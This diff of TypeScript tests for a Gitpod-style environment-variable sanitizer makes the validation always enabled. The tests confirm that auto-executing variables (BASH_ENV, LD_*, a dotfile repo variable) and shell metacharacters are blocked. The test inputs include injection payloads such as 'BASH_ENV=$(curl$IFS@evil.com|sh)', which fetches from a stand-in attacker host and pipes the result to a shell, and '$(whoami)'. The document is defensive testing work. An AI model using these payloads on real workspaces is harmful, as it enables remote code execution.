@@ -12,7 +12,6 @@ import * as chai from "chai";
1212import { EnvvarPrefixParser , EnvvarSanitization } from "./envvar-prefix-context-parser" ;
1313import { WithEnvvarsContext , User } from "@gitpod/gitpod-protocol" ;
1414import { Config } from "../config" ;
15- import { Experiments } from "@gitpod/gitpod-protocol/lib/experiments/configcat-server" ;
1615const expect = chai . expect ;
1716
1817@suite
@@ -104,27 +103,9 @@ class TestEnvvarPrefixParser {
104103 return this . parser . findPrefix ( this . mockUser , url ) ;
105104 }
106105
107- // Security validation tests
106+ // Security validation tests - validation is now always enabled
108107 @test
109- public async testSecurityValidationDisabled ( ) {
110- Experiments . configureTestingClient ( {
111- context_env_var_validation : false ,
112- } ) ;
113-
114- expect ( await this . parseAndFormat ( "BASH_ENV=dangerous/" ) ) . to . deep . equal ( { BASH_ENV : "dangerous" } ) ;
115- // Note: URLs with / cannot work due to context URL parsing splitting on /
116- expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal ( {
117- SUPERVISOR_DOTFILE_REPO : "https:" ,
118- } ) ;
119- expect ( await this . parseAndFormat ( "VAR=value$/" ) ) . to . deep . equal ( { VAR : "value$" } ) ;
120- }
121-
122- @test
123- public async testSecurityValidationEnabled ( ) {
124- Experiments . configureTestingClient ( {
125- context_env_var_validation : true ,
126- } ) ;
127-
108+ public async testSecurityValidation ( ) {
128109 // Auto-executing variables should be blocked
129110 expect ( await this . parseAndFormat ( "BASH_ENV=anything/" ) ) . to . deep . equal ( { } ) ;
130111 expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=repo/" ) ) . to . deep . equal ( { } ) ;
@@ -146,10 +127,6 @@ class TestEnvvarPrefixParser {
146127
147128 @test
148129 public async testLegitimateValuesAllowedWithSecurity ( ) {
149- Experiments . configureTestingClient ( {
150- context_env_var_validation : true ,
151- } ) ;
152-
153130 // Legitimate values should still work
154131 expect ( await this . parseAndFormat ( "VERSION=1.2.3/" ) ) . to . deep . equal ( { VERSION : "1.2.3" } ) ;
155132 expect ( await this . parseAndFormat ( "DEBUG_LEVEL=info/" ) ) . to . deep . equal ( { DEBUG_LEVEL : "info" } ) ;
@@ -163,10 +140,6 @@ class TestEnvvarPrefixParser {
163140
164141 @test
165142 public async testMixedValidAndInvalidVariables ( ) {
166- Experiments . configureTestingClient ( {
167- context_env_var_validation : true ,
168- } ) ;
169-
170143 // Mix of valid and invalid variables - only valid ones should be included
171144 expect ( await this . parseAndFormat ( "VALID=good,BASH_ENV=bad,ANOTHER=also-good/" ) ) . to . deep . equal ( {
172145 VALID : "good" ,
@@ -181,10 +154,6 @@ class TestEnvvarPrefixParser {
181154
182155 @test
183156 public async testCLC1591AttackVectorsBlocked ( ) {
184- Experiments . configureTestingClient ( {
185- context_env_var_validation : true ,
186- } ) ;
187-
188157 // Original attacks from CLC-1591 should be blocked
189158 expect ( await this . parseAndFormat ( "BASH_ENV=$(curl$IFS@evil.com|sh)/" ) ) . to . deep . equal ( { } ) ;
190159 expect ( await this . parseAndFormat ( "SUPERVISOR_DOTFILE_REPO=https://github.com/attacker/repo/" ) ) . to . deep . equal (
@@ -199,10 +168,6 @@ class TestEnvvarPrefixParser {
199168
200169 @test
201170 public async testURLDecodingInValidation ( ) {
202- Experiments . configureTestingClient ( {
203- context_env_var_validation : true ,
204- } ) ;
205-
206171 // URL-encoded dangerous characters should still be blocked
207172 expect ( await this . parseAndFormat ( "VAR=value%24/" ) ) . to . deep . equal ( { } ) ; // %24 = $
208173 expect ( await this . parseAndFormat ( "VAR=value%28/" ) ) . to . deep . equal ( { } ) ; // %28 = (
@@ -218,10 +183,6 @@ class TestEnvvarPrefixParser {
218183class TestEnvvarSanitization {
219184 @test
220185 public testAutoExecVariablesBlocked ( ) {
221- Experiments . configureTestingClient ( {
222- context_env_var_validation : true ,
223- } ) ;
224-
225186 // Test shell execution variables
226187 expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "anything" ) ) . to . deep . include ( {
227188 valid : false ,
@@ -281,10 +242,6 @@ class TestEnvvarSanitization {
281242
282243 @test
283244 public testPatternBasedBlocking ( ) {
284- Experiments . configureTestingClient ( {
285- context_env_var_validation : true ,
286- } ) ;
287-
288245 // Test LD_* pattern
289246 expect ( EnvvarSanitization . validateContextEnvVar ( "LD_CUSTOM" , "value" ) ) . to . deep . include ( {
290247 valid : false ,
@@ -360,10 +317,6 @@ class TestEnvvarSanitization {
360317
361318 @test
362319 public testUnsafeCharactersBlocked ( ) {
363- Experiments . configureTestingClient ( {
364- context_env_var_validation : true ,
365- } ) ;
366-
367320 // Test shell metacharacters
368321 expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "value$" ) ) . to . deep . include ( {
369322 valid : false ,
@@ -435,10 +388,6 @@ class TestEnvvarSanitization {
435388
436389 @test
437390 public testInjectionPatternsBlocked ( ) {
438- Experiments . configureTestingClient ( {
439- context_env_var_validation : true ,
440- } ) ;
441-
442391 // Note: Most injection patterns are caught by character whitelist first
443392 // Test command substitution - caught by unsafe chars ($ and ( not allowed)
444393 expect ( EnvvarSanitization . validateContextEnvVar ( "VAR" , "$(whoami)" ) ) . to . deep . include ( {
@@ -507,10 +456,6 @@ class TestEnvvarSanitization {
507456
508457 @test
509458 public testLegitimateValuesAllowed ( ) {
510- Experiments . configureTestingClient ( {
511- context_env_var_validation : true ,
512- } ) ;
513-
514459 // Test simple values
515460 expect ( EnvvarSanitization . validateContextEnvVar ( "VERSION" , "1.2.3" ) ) . to . deep . equal ( {
516461 valid : true ,
@@ -554,10 +499,6 @@ class TestEnvvarSanitization {
554499
555500 @test
556501 public testCLC1591AttackVectors ( ) {
557- Experiments . configureTestingClient ( {
558- context_env_var_validation : true ,
559- } ) ;
560-
561502 // Original attack vectors from CLC-1591
562503 expect ( EnvvarSanitization . validateContextEnvVar ( "BASH_ENV" , "$(curl$IFS@evil.com|sh)" ) ) . to . deep . include ( {
563504 valid : false ,
@@ -588,10 +529,6 @@ class TestEnvvarSanitization {
588529
589530 @test
590531 public testGetBlockReasonDescription ( ) {
591- Experiments . configureTestingClient ( {
592- context_env_var_validation : true ,
593- } ) ;
594-
595532 expect ( EnvvarSanitization . getBlockReasonDescription ( "auto-exec" ) ) . to . equal (
596533 "Variable automatically executes code when set" ,
597534 ) ;
@@ -608,10 +545,6 @@ class TestEnvvarSanitization {
608545
609546 @test
610547 public testEdgeCases ( ) {
611- Experiments . configureTestingClient ( {
612- context_env_var_validation : true ,
613- } ) ;
614-
615548 // Test very long variable names
616549 const longName = "A" . repeat ( 1000 ) ;
617550 expect ( EnvvarSanitization . validateContextEnvVar ( longName , "value" ) ) . to . deep . equal ( {
0 commit comments